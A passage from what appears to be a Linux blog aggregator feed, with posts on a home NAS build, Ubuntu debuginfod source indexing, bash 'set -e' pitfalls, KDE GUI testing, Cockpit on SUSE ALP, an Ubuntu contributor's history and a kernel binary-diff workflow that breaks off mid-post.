There aren’t many companies which will sell you a small motherboard with IPMI. Supermicro is a bust, so is Tyan. But ASRock Rack, the server division of third-tier motherboard vendor ASRock, delivers. Most of their boards aren’t actually compliant Mini-ITX size, they’re a proprietary “Deep Mini-ITX” with the regular screw holes, but 40mm of extra length (and a commensurately small list of compatible cases). But, thankfully, they do have a tiny selection of boards without the extra size, and I stumbled onto the X570D4I-2T, a board with an AMD AM4 socket and the mature X570 chipset. This board can use any AMD Ryzen chip (before the latest-gen Ryzen 7000 series); has built in dual 10 gigabit ethernet; IPMI; four (laptop-sized) RAM slots with full ECC support; one M.2 slot for NVMe SSD storage; a PCIe 16x slot (generally for graphics cards, but we live in a world of possibilities); and up to 8 SATA drives OR a couple more NVMe SSDs. It’s astonishingly well featured, just a shame it costs about $450 compared to a good consumer-grade Mini ITX AM4 board costing less than half that.

I was so impressed with the offering, in fact, that I crowed about it on Mastodon and ended up securing ASRock another sale, with someone else looking into a very similar project to mine around the same timespan.

The next question was the CPU. An important feature of a system expected to run 24/7 is low power, and AM4 chips can consume as much as 130W under load, out of the box. At the other end, some models can require as little as 35W under load – the OEM-only “GE” suffix chips, which are readily found for import on eBay. In their “PRO” variant, they also support ECC (all non-G Ryzen chips support ECC, but only Pro G chips do). The top of the range 8 core Ryzen 7 PRO 5750GE is prohibitively expensive, but the slightly weaker 6 core Ryzen 5 PRO 5650GE was affordable, and one arrived quickly from Hong Kong. Supplemented with a couple of cheap 16 GiB SODIMM sticks of DDR4 PC-3200 direct from Micron for under $50 a piece, that left only cooling as an unsolved problem to get a bootable test system.

The official support list for the X570D4I-2T only includes two rackmount coolers, both expensive and hard to source. The reason for such a small list is the non standard cooling layout of the board – instead of an AM4 hole pattern with the standard plastic AM4 retaining clips, it has an Intel 115x hole pattern with a non-standard backplate (Intel 115x boards have no backplate, the stock Intel 115x cooler attaches to the holes with push pins). As such every single cooler compatibility list excludes this motherboard. However, the backplate is only secured with a mild glue – with minimal pressure and a plastic prying tool it can be removed, giving compatibility with any 115x cooler (which is basically any CPU cooler for more than a decade). I picked an oversized low profile Thermalright AXP120-X67 hoping that its 120mm fan would cool the nearby MOSFETs and X570 chipset too.

Thermalright AXP120-X67, AMD Ryzen 5 PRO 5650GE, ASRock Rack X570D4I-2T, all assembled and running on a flat surface

Testing up to this point

Using a spare ATX power supply, I had enough of a system built to explore the IPMI and UEFI instances, and run MemTest86 to validate my progress. The memory test ran without a hitch and confirmed the ECC was working, although it also showed that the memory was only running at 2933 MT/s instead of the rated 3200 MT/s (a limit imposed by the motherboard, as higher speeds are considered overclocking). The IPMI interface isn’t the best I’ve ever used by a long shot, but it’s minimum viable and allowed me to configure the basics and boot from media entirely via a Web browser.

Memtest86 showing test progress, taken from IPMI remote control window

One sad discovery, however, which I’ve never seen documented before, on PCIe bifurcation.

With PCI Express, you have a number of “lanes” which are allocated in groups by the motherboard and CPU manufacturer. For Ryzen prior to Ryzen 7000, that’s 16 lanes in one slot for the graphics card; 4 lanes in one M.2 connector for an SSD; then 4 lanes connecting the CPU to the chipset, which can offer whatever it likes for peripherals or extra lanes (bottlenecked by that shared 4x link to the CPU, if it comes down to it).

It’s possible, with motherboard and CPU support, to split PCIe groups up – for example an 8x slot could be split into two 4x slots (eg allowing two NVMe drives in an adapter card – NVME drives these days all use 4x). However with a “Cezanne” Ryzen with integrated graphics, the 16x graphics card slot cannot be split into four 4x slots (ie used for for NVMe drives) – the most bifurcation it allows is 8x4x4x, which is useless in a NAS.

Screenshot of PCIe 16x slot bifurcation options in UEFI settings, taken from IPMI remote control window

As such, I had to abandon any ideas of an all-NVMe NAS I was considering: the 16x slot split into four 4x, combined with two 4x connectors fed by the X570 chipset, to a total of 6 NVMe drives. 7.6TB U.2 enterprise disks are remarkably affordable (cheaper than consumer SATA 8TB drives), but alas, I was locked out by my 5650GE. Thankfully I found out before spending hundreds on a U.2 hot swap bay. The NVMe setup would be nearly 10x as fast as SATA SSDs, but at least the SATA SSD route would still outperform any spinning rust choice on the market (including the fastest 10K RPM SAS drives)

Containing the core

The next step was to pick a case and power supply. A lot of NAS cases require an SFX (rather than ATX) size supply, so I ordered a modular SX500 unit from Silverstone. Even if I ended up with a case requiring ATX, it’s easy to turn an SFX power supply into ATX, and the worst result is you have less space taken up in your case, hardly the worst problem to have.

That said, on to picking a case. There’s only one brand with any cachet making ITX NAS cases, Silverstone. They have three choices in an appropriate size: CS01-HS, CS280, and DS380. The problem is, these cases are all badly designed garbage. Take the CS280 as an example, the case with the most space for a CPU cooler. Here’s how close together the hotswap bay (right) and power supply (left) are:

Internal image of Silverstone CS280 NAS build. Image stolen from ServeTheHome

With actual cables connected, the cable clearance problem is even worse:

Internal image of Silverstone CS280 NAS build. Image stolen from ServeTheHome

Remember, this is the best of the three cases for internal layout, the one with the least restriction on CPU cooler height. And it’s garbage! Total hot garbage! I decided therefore to completely skip the NAS case market, and instead purchase a 5.25″-to-2.5″ hot swap bay adapter from Icy Dock, and put it in an ITX gamer case with a 5.25″ bay. This is no longer a served market – 5.25″ bays are extinct since nobody uses CD/DVD drives anymore. The ones on the market are really new old stock from 2014-2017: The Fractal Design Core 500, Cooler Master Elite 130, and Silverstone SUGO 14. Of the three, the Fractal is the best rated so I opted to get that one – however it seems the global supply of “new old stock” fully dried up in the two weeks between me making a decision and placing an order – leaving only the Silverstone case.

Icy Dock have a selection of 8-bay 2.5″ SATA 5.25″ hot swap chassis choices in their ToughArmor MB998 series. I opted for the ToughArmor MB998IP-B, to reduce cable clutter – it requires only two SFF-8611-to-SF-8643 cables from the motherboard to serve all eight bays, which should make airflow less of a mess. The X570D4I-2T doesn’t have any SATA ports on board, instead it has two SFF-8611 OCuLink ports, each supporting 4 PCI Express lanes OR 4 SATA connectors via a breakout cable. I had hoped to get the ToughArmor MB118VP-B and run six U.2 drives, but as I said, the PCIe bifurcation issue with Ryzen “G” chips meant I wouldn’t be able to run all six bays successfully.

NAS build in Silverstone SUGO 14, mid build, panels removed
Silverstone SUGO 14 from the front, with hot swap bay installed

Actual storage for the storage server

My concept for the system always involved a fast boot/cache drive in the motherboard’s M.2 slot, non-redundant (just backups of the config if the worst were to happen) and separate storage drives somewhere between 3.8 and 8 TB each (somewhere from $200-$350). As a boot drive, I selected the Intel Optane SSD P1600X 58G, available for under $35 and rated for 228 years between failures (or 11,000 complete drive rewrite cycles).

So, on to the big expensive choice: storage drives. I narrowed it down to two contenders: new-old-stock Intel D3-S4510 3.84TB enterprise drives, at about $200, or Samsung 870 QVO 8TB consumer drives, at about $375. I did spend a long time agonizing over the specification differences, the ZFS usage reports, the expected lifetime endurance figures, but in reality, it came down to price – $1600 of expensive drives vs $3200 of even more expensive drives. That’s 27TB of usable capacity in RAID-Z1, or 23TB in RAID-Z2. For comparison, I’m using about 5TB of the old NAS, so that’s a LOT of overhead for expansion.

Storage SSD loaded into hot swap sled

Booting up

Bringing it all together is the OS. I wanted an “appliance” NAS OS rather than self-administering a Linux distribution, and after looking into the surrounding ecosystems, decided on TrueNAS Scale (the beta of the 2023 release, based on Debian 12).

TrueNAS Dashboard screenshot in browser window

I set up RAID-Z1, and with zero tuning (other than enabling auto-TRIM), got the following performance numbers:

IOPSBandwidth
4k random writes19.3k75.6 MiB/s
4k random reads36.1k141 MiB/s
Sequential writes–2300 MiB/s
Sequential reads–3800 MiB/s
Results using fio parameters suggested by Huawei

And for comparison, the maximum theoretical numbers quoted by Intel for a single drive:

IOPSBandwidth
4k random writes16k?
4k random reads90k?
Sequential writes–280 MiB/s
Sequential reads–560 MiB/s
Numbers quoted by Intel SSD successors Solidigm.

Finally, the numbers reported on the old NAS with four 7200 RPM hard disks in RAID 10:

IOPSBandwidth
4k random writes4301.7 MiB/s
4k random reads800632 MiB/s
Sequential writes–311 MiB/s
Sequential reads–566 MiB/s

Performance seems pretty OK. There’s always going to be an overhead to RAID. I’ll settle for the 45x improvement on random writes vs. its predecessor, and 4.5x improvement on random reads. The sequential write numbers are gonna be impacted by the size of the ZFS cache (50% of RAM, so 16 GiB), but the rest should be a reasonable indication of true performance.

It took me a little while to fully understand the TrueNAS permissions model, but I finally got Plex configured to access data from the same place as my SMB shares, which have anonymous read-only access or authenticated write access for myself and my wife, working fine via both Linux and Windows.

And… that’s it! I built a NAS. I intend to add some fans and more RAM, but that’s the build. Total spent: about $3000, which sounds like an unreasonable amount, but it’s actually less than a comparable Synology DiskStation DS1823xs+ which has 4 cores instead of 6, first-generation AMD Zen instead of Zen 3, 8 GiB RAM instead of 32 GiB, no hardware-accelerated video transcoding, etc. And it would have been a whole lot less fun!

The final system, powered up

(Also posted on PCPartPicker)

]]> Jo Shields Understanding vm.swappiness: Improving Linux Performance and Memory Management https://coderstalk.blogspot.com/2023/07/understanding-vmswappiness-improving.html https://coderstalk.blogspot.com/2023/07/understanding-vmswappiness-improving.html Sun, 23 Jul 2023 23:13:00 GMT As a Linux user, you may have stumbled across the enigmatic 'vm.swappiness' setting when examining your system's configuration. The variable 'vm.swappiness' is important in Linux memory management because it affects how your system handles virtual memory and swap space. In this blog post, we'll debunk 'vm.swappiness' and look at how it affects system performance. So, let's plunge into the world of Linux memory management and expose the secrets of vm.swappiness.

]]> Muhammad Fauzilkamil Zainuddin Ubuntu debuginfod and source code indexing https://blog.sergiodj.net/posts/ubuntu-debuginfod-source-code-indexing/ https://blog.sergiodj.net/posts/ubuntu-debuginfod-source-code-indexing/ Sat, 13 May 2023 20:43:00 GMT You might remember that in my last post about the Ubuntu debuginfod service I talked about wanting to extend it and make it index and serve source code from packages. I'm excited to announce that this is now a reality since the Ubuntu Lunar (23.04) release.

The feature should work for a lot of packages from the archive, but not all of them. Keep reading to better understand why.

The problem

While debugging a package in Ubuntu, one of the first steps you need to take is to install its source code. There are some problems with this:

  • apt-get source required dpkg-dev to be installed, which ends up pulling in a lot of other dependencies.
  • GDB needs to be taught how to find the source code for the package being debugged. This can usually be done by using the dir command, but finding the proper path to be is usually not trivial, and you find yourself having to use more "complex" commands like set substitute-path, for example.
  • You have to make sure that the version of the source package is the same as the version of the binary package(s) you want to debug.
  • If you want to debug the libraries that the package links against, you will face the same problems described above for each library.

So yeah, not a trivial/pleasant task after all.

The solution...

Debuginfod can index source code as well as debug symbols. It is smart enough to keep a relationship between the source package and the corresponding binary's Build-ID, which is what GDB will use when making a request for a specific source file. This means that, just like what happens for debug symbol files, the user does not need to keep track of the source package version.

While indexing source code, debuginfod will also maintain a record of the relative pathname of each source file. No more fiddling with paths inside the debugger to get things working properly.

Last, but not least, if there's a need for a library source file and if it's indexed by debuginfod, then it will get downloaded automatically as well.

... but not a perfect one

In order to make debuginfod happy when indexing source files, I had to patch dpkg and make it always use -fdebug-prefix-map when compiling stuff. This GCC option is used to remap pathnames inside the DWARF, which is needed because in Debian/Ubuntu we build our packages inside chroots and the build directories end up containing a bunch of random cruft (like /build/ayusd-ASDSEA/something/here). So we need to make sure the path prefix (the /build/ayusd-ASDSEA part) is uniform across all packages, and that's where -fdebug-prefix-map helps.

This means that the package must honour dpkg-buildflags during its build process, otherwise the magic flag won't be passed and your DWARF will end up with bogus paths. This should not be a big problem, because most of our packages do honour dpkg-buildflags, and those who don't should be fixed anyway.

... especially if you're using LTO

Ubuntu enables LTO by default, and unfortunately we are affected by an annoying (and complex) bug that results in those bogus pathnames not being properly remapped. The bug doesn't affect all packages, but if you see GDB having trouble finding a source file whose full path starts without /usr/src/..., that is a good indication that you're being affected by this bug. Hopefully we should see some progress in the following weeks.

Your feedback is important to us

If you have any comments, or if you found something strange that looks like a bug in the service, please reach out. You can either send an email to my public inbox (see below) or file a bug against the ubuntu-debuginfod project on Launchpad.

]]> Sergio Durigan Junior Today I learned: set -e sucks even more. https://smoser.github.io//2023/04/27/set-e-bad.html https://smoser.github.io//2023/04/27/set-e-bad.html Thu, 27 Apr 2023 00:00:00 GMT Today I learned: set -e sucks even more.

Summary: Just don’t use set -e.

I’ve never been a fan “errexit” in shell. You’ve probably seen this as set -e, or set -o errexit or sh -e.

People write lists of shell commands in a file and want the script to exit on the first one that fails rather than barreling on and causing damage. That seems sane.

I’ve always strived to write “shell programs” rather than “shell scripts”. The difference being that the program will clean up after itself and give sane error messages. It won’t just exit when mkdir fails and leave the user to understand some message like:

 mkdir: cannot create directory ‘/tmp/work/bcd’: No such file or directory

I’ve always felt that errexit makes “good error handling” in shell more difficult.

The bash(1) man page has the following text:

If a compound command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting, even if -e is set and a command returns a failure status. If a compound command or shell function sets -e while executing in a context where -e is ignored, that setting will not have any effect until the compound command or the command containing the function call completes.

Here’s an example of how painful it can be, and I took way too long today tracking down what was wrong.

  1. A Programmer starts off with a simple script make-lvs and uses set -e.

    #!/bin/bash -ex
lvm lvcreate --size=1G myvg -n mylv0
lvm lvcreate --size=1G myvg -n mylv1

    This looks fine for a “shell script”. The -x argument even makes shell write to standard error the commands it is running. At this point everyone is happy.

  2. Later the programmer looks at the script and realizes that he/she needs more flags to lvm lvcreate. So now the script looks like:

    #!/bin/bash -ex
lvm lvcreate --ignoremonitoring --yes --activate=y --setactivationskip=n --size=1G --name=mylv0 mylv0
lvm lvcreate --ignoremonitoring --yes --activate=y --setactivationskip=n --size=1G --name=mylv1 myvg

    I’m happy that the programmer here used long format flags as they are much more self documenting so readers don’t have to (as quickly) open up the lvm man page. It is easier to make sense of that than it is to read ‘lvm lvcreate --ignoremonitoring -y -ay -ky -L1G -n mylv’.

  3. After doing so, they realize that they can make this look a lot nicer, and reduce the copy/paste code with a simple function wrapper.

    #!/bin/bash -e
lvcreate() {
    echo "Creating lv $2 on vg $1 of size $3"
    lvm lvcreate "--size=$3" --ignoremonitoring --yes --activate=y \
        --setactivationskip=n --name="$2" "$1"
    echo "Created $1/$2"
}

lvcreate myvg mylv0 1G
lvcreate myvg mylv1 1G

    The improvements are great. The complexity of the lvm lvcreate is abstracted away nicely. They’ve even dropped the vile set -x in favor of more human friendly messages.

    Output of a failing lvm command looks like this:

    $ make-lvs; echo "exited with $?"
Creating lv mylv0 on vg myvg of size 1G
out of space
exited with 1

  4. The next improvement is where sanity goes completely out the window. [I realize you were questioning my sanity long ago due to my pursuit of shell scripting perfection].

    The programmer tries to add reasonable ‘FATAL’ messages that you might find in log messages of other other programming languages.

     #!/bin/bash -e
 lvcreate() {
     echo "Creating lv $2 on vg $1 of size $3"
     lvm lvcreate "--size=$3" --ignoremonitoring --yes --activate=y \
         --setactivationskip=n --name="$2" "$1"
     echo "Created $1/$2"
 }
 fail() { echo "FATAL:" "$@" 1>&2; exit 1; }
    
 lvcreate myvg mylv0 1G || fail "Failed to create mylv0"
    
 if ! lvcreate myvg mylv1 2G; then
     fail "Failed to create lylv1"
 fi
 echo "Success"

    Can you guess what is going to happen here?

    If the lvm command fails (perhaps the vg is out of space) then the output of this script will look like:

     $ make-lvs; echo exited with $?
 Creating lv mylv1 on vg myvg of size 1G
 error: out of space
 Created myvg/mylv1
 Creating lv mylv2 on vg myvg of size 1G
 error: out of space
 Created myvg/mylv2
 Success
 exited with 0

The attempt to handle the failure of the lvcreate function with || on lines 10 and with if ! on line 12 made it a “compound command”. A compound command disables the error handling and shell exit that would have come from -e when the lvm command on line 4 failed.

Above I’ve demonstrated with bash, but this is actually posix behavior, and you can just as well test the function with sh as well.

Madness.

If you’re interested in further reading, you can see this topic on the BashFAQ. I agree with GreyCat and geirha: “don’t use set -e. Add your own error checking instead.”

If you’re still here, the following is the version of the script that I’d like to see. Of course there are other improvements that can be made, but I’m happy with it.

   #!/bin/bash
   info() { echo "$@" 1>&2; }
   stderr() { echo "$@" 1>&2; }
   fail() { stderr "FATAL:" "$@"; exit 1; }
   lvcreate() {
       local vg="$1" lv="$2" size="$3"
       info "Creating $vg/$lv size $size"
       lvm lvcreate \
           --ignoremonitoring --yes --activate=y --setactivationskip=n \
           --size="$size" --name="$lv" "$vg" || {
               stderr "failed ($?) to create $vg/$lv size $size"
               return 1
           }
       info "Created $vg/$lv"
   }
   
   # demonstrate both 'command ||' and 'if ! command; then' styles.
   lvcreate myvg mylv0 1G || fail "Failed to create mylv0"
   
   if ! lvcreate myvg mylv1 1G; then
       fail "Failed to create mylv1"
   fi
   
   info "Success"
]]> Scott Moser Selenium + AT-SPI = GUI Testing https://apachelog.wordpress.com/2022/12/14/selenium-at-spi-gui-testing/ https://apachelog.wordpress.com/2022/12/14/selenium-at-spi-gui-testing/ Wed, 14 Dec 2022 15:59:20 GMT At KDE we have multiple levels of quality assurance ranging from various degrees of a humans testing features to fully automated testing. Indeed automated testing is incredibly important for the continued quality of our software. A big corner stone of our testing strategy are so called unit tests, they test a specific piece of our software for its behavior in isolation. But for many aspects of our software we need a much higher level view, testing pieces of Plasma’s application launcher in isolation is all good and well but that won’t tell us if the entire UI can be easily navigated using the keyboard. For this type of test we require a different testing approach altogether. A couple months ago I’ve set set out to create a testing framework for this use case and I’m glad to say that it has matured enough to be used for writing tests. I’d like to walk you through the technical building blocks and a simple example.

Let us start of by looking at the architecture at large. So… there’s Selenium which is an incredibly popular, albeit web-oriented, testing framework. Its main advantages for us are its popularity and that it sports a server-client split. This means we can leverage the existing client tooling available for Selenium without having to write anything ourselves, we only need to grow a server. The server component, called a WebDriver, implements the actual interaction with UI elements and is generic enough to also apply to desktop applications. Indeed so thought others as well: there already exists Appium – it extends Selenium with more app-specific features and behaviors. Something for us to build upon. The clients meanwhile are completely separate and talk to the WebDriver over a well defined JSON REST protocol, meaning we can reuse the existing clients without having to write anything ourselves. They are available in a multitude of programming languages, and who knows maybe we’ll eventually get one for writing Selenium tests in QML 😉

That of course doesn’t explain how GUI testing can work with this on Linux. Enter: AT-SPI. AT-SPI is an accessibility API and pretty much the standard accessibility system for use on Linux. Obviously its primary use is assistive technologies, like the screen reader Orca, but to do its job it essentially offers a toolkit-independent way of introspecting and interacting with GUI applications. This then gives us a way to implement a WebDriver without caring about the toolkit or app specifics. As long as the app supports AT-SPI, which all Qt apps do implicitly, we can test it.

Since all the client tooling is independent of the server all we needed to get GUI testing going was a WebDriver that talks to AT-SPI.

That is what I set out to write and I’m happy to announce that we now have an AT-SPI based WebDriver, and the first tests are popping into existence already. There is also lovely documentation to hold onto.

So, without further ado. Let us write a simple test. Since the documentation already writes one in Python I’ll use Ruby this time around so we have some examples of different languages. A simple candidate is KInfoCenter. We can test its search functionality with a couple of lines of code.

First we need to install selenium-webdriver-at-spi, clone it, cmake build it, and cmake install it. You’ll also need to install the relevant client libraries. For ruby that’s simply running gem install appium_lib.

Then we can start with writing our test. We will need some boilerplate setup logic. This is more or less the same for every test. For more details on the driver setup you may also check the wiki page.

  def setup
    @appium_driver = Appium::Driver.new(
      {
        'caps' => { app: 'org.kde.kinfocenter.desktop' },
        'appium_lib' => {
          server_url: 'http://127.0.0.1:4723',
          wait_timeout: 10,
          wait_interval: 0.5
        }
      }, true
    )
    @driver = @appium_driver.start_driver
  end

The driver will take care of starting the correct application and make sure that it is actually running correctly. Next we’ll write the actual test. Let’s test the search. The first order of business is using a tool called Accerciser to inspect the AT-SPI presentation of the application. For more information on how to use this tool please refer to the wiki. Using Accerciser I’ve located the search field and learned that it is called ‘Search’. So, let’s locate it and activate it, search for the CPU module:

  def test_search
    search = driver.find_element(:name, 'Search')
    search.click
    search.send_keys('cpu')

Next let us find the CPU list item and activate it:

    cpu = driver.find_element(:class_name, '[list item | CPU]')
    assert(cpu.displayed?)
    cpu.click

And finally let’s assert that the page was actually activated:

    cpu_tab = driver.find_element(:class_name, '[page tab | CPU]')
    assert(cpu_tab.displayed?)

To run the complete test we can use the run wrapper: selenium-webdriver-at-spi-run ./kinfocentertest.rb (mind that it needs to be +x). If all has gone well we should get a successful test.

Finished in 1.345276s, 0.7433 runs/s, 1.4867 assertions/s.

1 runs, 2 assertions, 0 failures, 0 errors, 0 skips
I, [2022-12-14T13:13:53.508516 #154338]  INFO -- : tests done
I, [2022-12-14T13:13:53.508583 #154338]  INFO -- : run.rb exiting true

This should get you started with writing a test for your application! I’ll gladly help and review your forthcoming tests.
For more detailed documentation check out the writing-tests wiki page as well as the appium command reference.

Of course the work is not done. selenium-webdriver-at-spi is very much still a work in progress and I’d be glad for others to help add features as they become needed. The gitlab project is the place for that. ❤

The complete code of the example above:

#!/usr/bin/env ruby
# frozen_string_literal: true

# SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL
# SPDX-FileCopyrightText: 2022 Harald Sitter <sitter@kde.org>

require 'appium_lib'
require 'minitest/autorun'

class TestKInfoCenter < Minitest::Test
  attr_reader :driver

  def setup
    @appium_driver = Appium::Driver.new(
      {
        'caps' => { app: 'org.kde.kinfocenter.desktop' },
        'appium_lib' => {
          server_url: 'http://127.0.0.1:4723',
          wait_timeout: 10,
          wait_interval: 0.5
        }
      }, true
    )
    @driver = @appium_driver.start_driver
  end

  def teardown
    driver.quit
  end

  def test_search
    search = driver.find_element(:name, 'Search')
    search.click
    search.send_keys('cpu')

    cpu = driver.find_element(:class_name, '[list item | CPU]')
    assert(cpu.displayed?)
    cpu.click

    cpu_tab = driver.find_element(:class_name, '[page tab | CPU]')
    assert(cpu_tab.displayed?)
  end
end
]]> Harald Sitter Running Cockpit inside ALP https://losca.blogspot.com/2022/12/running-cockpit-inside-alp.html https://losca.blogspot.com/2022/12/running-cockpit-inside-alp.html Sat, 10 Dec 2022 13:07:00 GMT (quoted from my other blog at since a new OS might be interesting for many and this is published in separate planets)

ALP - The Adaptable Linux Platform – is a new operating system from SUSE to run containerized and virtualized workloads. It is in early prototype phase, but the development is done completely openly so it’s easy to jump in to try it.

For this trying out, I used the latest encrypted build – as of the writing, 22.1 – from ALP images. I imported it in virt-manager as a Generic Linux 2022 image, using UEFI instead of BIOS, added a TPM device (which I’m interested in otherwise) and referring to an Ignition JSON file in the XML config in virt-manager.

The Ignition part is pretty much fully thanks to Paolo Stivanin who studied the secrets of it before me. But here it goes - and this is required for password login in Cockpit to work in addition to SSH key based login to the VM from host - first, create config.ign file:

{
  "ignition": { "version": "3.3.0" },
  "passwd": {
    "users": [
      {
        "name": "root",
        "passwordHash": "YOURHASH",
        "sshAuthorizedKeys": [
          "ssh-... YOURKEY"
        ]
      }
    ]
  },
  "systemd": {
    "units": [{
      "name": "sshd.service",
      "enabled": true
    }]
  },
  "storage": {
    "files": [
      {
        "overwrite": true,
        "path": "/etc/ssh/sshd_config.d/20-enable-passwords.conf",
        "contents": {
          "source": "data:,PasswordAuthentication%20yes%0APermitRootLogin%20yes%0A"
        },
        "mode": 420
      }
    ]
  }
}

…where password SHA512 hash can be obtained using openssl passwd -6 and the ssh key is your public ssh key.

That file is put to eg /tmp and referred in the virt-manager’s XML like follows:

  <sysinfo type="fwcfg">
    <entry name="opt/com.coreos/config" file="/tmp/config.ign"/>
  </sysinfo>

Now we can boot up the VM and ssh in - or you could log in directly too but it’s easier to copy-paste commands when using ssh.

Inside the VM, we can follow the ALP documentation to install and start Cockpit:

podman container runlabel install registry.opensuse.org/suse/alp/workloads/tumbleweed_containerfiles/suse/alp/workloads/cockpit-ws:latest
podman container runlabel --name cockpit-ws run registry.opensuse.org/suse/alp/workloads/tumbleweed_containerfiles/suse/alp/workloads/cockpit-ws:latest
systemctl enable --now cockpit.service

Check your host’s IP address with ip -a, and open IP:9090 in your host’s browser:

Cockpit login screen

Login with root / your password and you shall get the front page:

Cockpit front page

…and many other pages where you can manage your ALP deployment via browser:

Cockpit podman page

All in all, ALP is in early phases but I’m really happy there’s up-to-date documentation provided and people can start experimenting it whenever they want. The images from the linked directory should be fairly good, and test automation with openQA has been started upon as well.

You can try out the other example workloads that are available just as well.

]]> Timo Jyrinki Clipboard content to file. New app https://costales.github.io/posts/clipboard-to-file/ https://costales.github.io/posts/clipboard-to-file/ Sat, 22 Oct 2022 08:29:27 GMT Costales Ubuntu bug fix anniversary https://jeremy.bicha.net/2022/10/17/ubuntu-bug-fix-anniversary/ https://jeremy.bicha.net/2022/10/17/ubuntu-bug-fix-anniversary/ Mon, 17 Oct 2022 13:54:46 GMT I first installed Ubuntu when Ubuntu 6.06 LTS “Dapper Drake” was released. I was brand new to Linux. This was Ubuntu’s first LTS release; the very first release of Ubuntu was only a year and a half before. I was impressed by how usable and useful the system was. It soon became my primary home operating system and I wanted to help make it better.

On October 15, 2009, I was helping test the release candidates ISOs for the Ubuntu 9.10 release. Specifically, I tested Edubuntu. Edubuntu has since been discontinued but at the time it was an official Ubuntu flavor preloaded with lots of education apps. One of those education apps was Moodle, an e-learning platform.

When testing Moodle, I found that a default installation would make Moodle impossible to use locally. I figured out how to fix this issue. This was really exciting: I finally found an Ubuntu bug I knew how to fix. I filed the bug report.

This was very late in the Ubuntu 9.10 release process and Ubuntu was in the Final Freeze state. In Final Freeze, every upload to packages included in the default install need to be individually approved by a member of the Ubuntu Release Team. Also, I didn’t have upload rights to Ubuntu. Jordan Mantha (LaserJock), an Edubuntu maintainer, sponsored my bug fix upload.

I also forwarded my patch to Debian.

While trying to figure out what wasn’t working with Moodle, I stumbled across a packaging bug. Edubuntu provided a choice of MySQL or PostgreSQL for the system default database. MySQL was the default, but if PostgreSQL were chosen instead, Moodle wouldn’t work. I figured out how to fix this bug too a week later. Jordan sponsored this upload and Steve Langasek from the Release Team approved it so it also was able to be fixed before 9.10 was released.

Although the first bug was new to 9.10 because of a behavior change in a low-level dependency, this PostgreSQL bug existed in stable Ubuntu releases. Therefore, I prepared Stable Release Updates for Ubuntu 9.04 and Ubuntu 8.04 LTS.

Afterwards

Six months later, I was able to attend my first Ubuntu Developer Summit. I was living in Bahrain (in the Middle East) at the time and a trip to Belgium seemed easier to me than if I were living in the United States where I usually live. This was the Ubuntu Developer Summit where planning for Ubuntu 10.10 took place. I like to believe that I helped with the naming since I added Maverick to the wiki page where people contribute suggestions.

I did not apply for financial sponsorship to attend and I stayed in a budget hotel on the other side of Brussels. The event venue was on the outskirts of Brussels so there wasn’t a direct bus or metro line to get there. I rented a car. I didn’t yet have a smartphone and I had a LOT of trouble navigating to and from the site every day. I learned then that it’s best to stay close to the conference site since a lot of the event is actually in the unstructured time in the evenings. Fortunately, I managed to arrive in time for Mark Shuttleworth’s keynote where the Unity desktop was first announced. This was released in Ubuntu 10.10 in the Ubuntu Netbook Remix and became the default for Ubuntu Desktop in Ubuntu 11.04.

Ubuntu’s switch to Unity provided me with a huge opportunity. In April 2011, GNOME 3.0 was released. I wanted to try it but it wasn’t yet packaged in Ubuntu or Debian. It was suggested that I could help work on packaging the major new version in a PPA. The PPA was convenient because I was able to get permission to upload there easier than being able to upload directly to Ubuntu. My contributions there then enabled me to get upload rights to the Ubuntu Desktop packages later that year.

At a later Ubuntu Developer Summit, it was suggested that I start an official Ubuntu flavor for GNOME. So along with Tim Lunn (darkxst), I co-founded Ubuntu GNOME. Years later, Canonical stopped actively developing Unity; instead, Ubuntu GNOME was merged into Ubuntu Desktop.

Along the way, I became an Ubuntu Core Developer and a Debian Developer. And in January 2022, I joined Canonical on the Desktop Team. This all still feels amazing to me. It took me a long time to be comfortable calling myself a developer!

Conclusion

My first Ubuntu bugfix was 13 years ago this week. Because Ubuntu historically uses alphabetical adjective animal release names, 13 years means that we have rolled around to the letter K again! Later today, we begin release candidate ISO testing for Ubuntu 22.10 “Kinetic Kudu”.

I encourage you to help us test the release candidates and report bugs that you find. If you figure out how to fix a bug, we still sponsor bug fixes. If you are an Ubuntu contributor, I highly encourage you to attend an Ubuntu Summit if you can. The first Ubuntu Summit in years will be in 3 weeks in Prague, but the intent is for the Ubuntu Summits to be recurring events again.

]]> Jeremy Bicha finding binary differences https://outflux.net/blog/archives/2022/06/24/finding-binary-differences/ https://outflux.net/blog/archives/2022/06/24/finding-binary-differences/ Fri, 24 Jun 2022 20:11:48 GMT As part of the continuing work to replace 1-element arrays in the Linux kernel, it’s very handy to show that a source change has had no executable code difference. For example, if you started with this:

struct foo {
    unsigned long flags;
    u32 length;
    u32 data[1];
};

void foo_init(int count)
{
    struct foo *instance;
    size_t bytes = sizeof(*instance) + sizeof(u32) * (count - 1);
    ...
    instance = kmalloc(bytes, GFP_KERNEL);
    ...
};

And you changed only the struct definition:

-    u32 data[1];
+    u32 data[];

The bytes calculation is going to be incorrect, since it is still subtracting 1 element’s worth of space from the desired count. (And let’s ignore for the moment the open-coded calculation that may end up with an arithmetic over/underflow here; that can be solved separately by using the struct_size() helper or the size_mul(), size_add(), etc family of helpers.)

The missed adjustment to the size calculation is relatively easy to find in this example, but sometimes it’s much less obvious how structure sizes might be woven into the code. I’ve been checking for issues by using the fantastic diffoscope tool. It can produce a LOT of noise if you try to compare builds without keeping in mind the issues solved by reproducible builds, with some additional notes. I prepare my build with the “known to disrupt code layout” options disabled, but with debug info enabled:

$ KBF="KBUILD_BUILD_TIMESTAMP=1980-01-01 KBUILD_BUILD_USER=user KBUILD_BUILD_HOST=host KBUILD_BUILD_VERSION=1"
$ OUT=gcc
$ make $KBF O=$OUT allmodconfig
$ ./scripts/config --file $OUT/.config \
        -d GCOV_KERNEL -d KCOV -d GCC_PLUGINS -d IKHEADERS -d KASAN -d UBSAN \
        -d DEBUG_INFO_NONE -e DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT
$ make $KBF O=$OUT olddefconfig

Then I build a stock target, saving the output in “before”. In this case, I’m examining drivers/scsi/megaraid/:

$ make -jN $KBF O=$OUT drivers/scsi/megaraid/
$ mkdir -p $OUT/before
$ cp $OUT/drivers/scsi/megaraid/*.o $OUT/before/

Then I patch and build a modified target, saving the output in “after”:

$ vi the/source/code.c
$ make -jN $KBF O=$OUT drivers/scsi/megaraid/
$ mkdir -p $OUT/after
